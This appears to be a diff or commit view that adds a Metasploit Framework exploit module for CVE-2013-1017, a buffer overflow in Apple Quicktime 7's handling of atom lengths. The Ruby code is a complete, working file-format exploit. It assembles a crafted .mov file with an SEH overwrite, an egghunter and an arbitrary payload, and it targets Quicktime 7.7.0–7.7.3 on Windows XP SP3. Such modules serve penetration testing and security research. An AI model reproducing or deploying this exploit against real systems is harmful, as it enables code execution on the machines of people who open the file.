|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit4 < Msf::Exploit::Remote |
| 11 | + Rank = NormalRanking |
| 12 | + |
| 13 | + include Msf::Exploit::FILEFORMAT |
| 14 | + include Msf::Exploit::Egghunter |
| 15 | + |
| 16 | + def initialize(info={}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => "Apple Quicktime 7 Invalid Atom Length Buffer Overflow", |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits a vulnerability found in Apple Quicktime. The flaw is |
| 21 | + triggered when Quicktime fails to properly handle the data length for certain |
| 22 | + atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer |
| 23 | + overflow by loading a specially crafted .mov file, and allows arbitrary |
| 24 | + code execution under the context of the user. Please note: Since an egghunter |
| 25 | + is used to search for the payload, this may require additional time for |
| 26 | + the exploit to complete. |
| 27 | + }, |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'Author' => |
| 30 | + [ |
| 31 | + 'Jason Kratzer', # Original Discovery & PoC (overlapped finding), aka pyoor |
| 32 | + 'Tom Gallagher', # Original Discovery (overlapped) |
| 33 | + 'Paul Bates', # Original Discovery (overlapped) |
| 34 | + 'sinn3r' # Metasploit |
| 35 | + ], |
| 36 | + 'References' => |
| 37 | + [ |
| 38 | + [ 'CVE', '2013-1017' ], |
| 39 | + [ 'OSVDB', '93625' ], |
| 40 | + [ 'BID', '60097' ], |
| 41 | + [ 'URL', 'http://support.apple.com/kb/HT5770' ], |
| 42 | + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-110/' ] |
| 43 | + ], |
| 44 | + 'Platform' => 'win', |
| 45 | + 'Targets' => |
| 46 | + [ |
| 47 | + # Ret = P/P/R in Quicktime.qtx |
| 48 | + # Tested on: |
| 49 | + # Quicktime 7.7.0 |
| 50 | + # Quicktime 7.7.1 |
| 51 | + # Quicktime 7.7.2 |
| 52 | + # Quicktime 7.7.3 |
| 53 | + [ 'Quicktime 7.7.0 - 7.7.3 on Windows XP SP3', {'Ret' => 0x66801042 } ] |
| 54 | + ], |
| 55 | + 'Payload' => |
| 56 | + { |
| 57 | + 'BadChars' => "\x00" |
| 58 | + }, |
| 59 | + 'Privileged' => false, |
| 60 | + 'DisclosureDate' => "May 22 2013", |
| 61 | + 'DefaultTarget' => 0 |
| 62 | + )) |
| 63 | + |
| 64 | + register_options( |
| 65 | + [ |
| 66 | + OptString.new('FILENAME', [ true, 'The file name.', 'msf.mov']), |
| 67 | + ], self.class) |
| 68 | + end |
| 69 | + |
| 70 | + def sort_bytes(data) |
| 71 | + buf = '' |
| 72 | + 0.step(data.length, 2) do |i| |
| 73 | + buf << data[i, 2].reverse |
| 74 | + end |
| 75 | + |
| 76 | + buf |
| 77 | + end |
| 78 | + |
| 79 | + def exploit |
| 80 | + fsize = 0 |
| 81 | + |
| 82 | + badchars = payload_badchars |
| 83 | + hunter,egg = generate_egghunter(payload.encoded,badchars,{:checksum=>true}) |
| 84 | + |
| 85 | + buf = '' |
| 86 | + buf << "\x61" * 5 # Make sure our NOPs don't cause AV |
| 87 | + buf << sort_bytes(make_nops(4)) # Pad 9 bytes to ensure alignment |
| 88 | + buf << sort_bytes(hunter) # egg huntin' |
| 89 | + buf << rand_text_alpha(607 - buf.length) # Offset 607 to nSEH |
| 90 | + buf << sort_bytes("\xeb\x06#{rand_text_alpha(2)}") # nSEH |
| 91 | + buf << sort_bytes([target.ret].pack("V*")) # SE Handler |
| 92 | + buf << sort_bytes("\xe9\x95\xfd\xff\xff\xff") # Jmp to egghunter |
| 93 | + buf << rand_text_alpha(50) # After SEH, only ~33 bytes |
| 94 | + buf << egg # Should be found somewhere else |
| 95 | + |
| 96 | + # Quicktime File Format Specifications: |
| 97 | + # https://developer.apple.com/standards/qtff-2001.pdf |
| 98 | + mov = "\x00\x00\x06\xDF" # File size |
| 99 | + mov << "moov" # Movie atom |
| 100 | + mov << "\x00\x00\x06\xD7" # size (1751d) |
| 101 | + mov << "rmra" # Reference Movie atom |
| 102 | + mov << "\x00\x00\x06\xCF" # size (1743d) |
| 103 | + mov << "rmda" # rmda atom |
| 104 | + mov << "\x00\x00\x06\xBF" # size (1727d) |
| 105 | + mov << "rdrf" # Data reference atom |
| 106 | + mov << "\x00\x00\x00\x00" # size set to 0 |
| 107 | + mov << "alis" # Data reference type: FS alias record |
| 108 | + mov << "\x00\x00\x06\xAA" # Size (1706d) |
| 109 | + mov << rand_text_alpha(8) |
| 110 | + mov << "\x00\x00\x06\x61" # Size (1633d) |
| 111 | + mov << rand_text_alpha(38) |
| 112 | + mov << "\x12" |
| 113 | + mov << rand_text_alpha(81) |
| 114 | + mov << "\xFF\xFF" |
| 115 | + mov << rand_text_alpha(18) |
| 116 | + mov << "\x00\x08" # Size (8d) |
| 117 | + mov << rand_text_alpha(8) |
| 118 | + mov << "\x00\x00" |
| 119 | + mov << "\x00\x08" # Size (8d) |
| 120 | + mov << rand_text_alpha(8) |
| 121 | + mov << "\x00\x00" |
| 122 | + mov << "\x00\x26" # Size (38d) |
| 123 | + mov << rand_text_alpha(38) |
| 124 | + mov << "\x00\x0F\x00\x0E" |
| 125 | + mov << "AA" # Size (must be invalid) |
| 126 | + mov << rand_text_alpha(12) |
| 127 | + mov << "\x00\x12\x00\x21" |
| 128 | + mov << rand_text_alpha(36) |
| 129 | + mov << "\x00" |
| 130 | + mov << "\x0F\x33" |
| 131 | + mov << rand_text_alpha(17) |
| 132 | + mov << "\x02\xF4" # Size (756h) |
| 133 | + mov << rand_text_alpha(756) |
| 134 | + mov << "\xFF\xFF\x00\x00\x00" |
| 135 | + fsize += mov.length |
| 136 | + mov << buf |
| 137 | + fsize += buf.length |
| 138 | + |
| 139 | + mov[0,4] = [fsize].pack("N") |
| 140 | + |
| 141 | + print_status("Creating #{datastore['FILENAME']}") |
| 142 | + file_create(mov) |
| 143 | + end |
| 144 | +end |
0 commit comments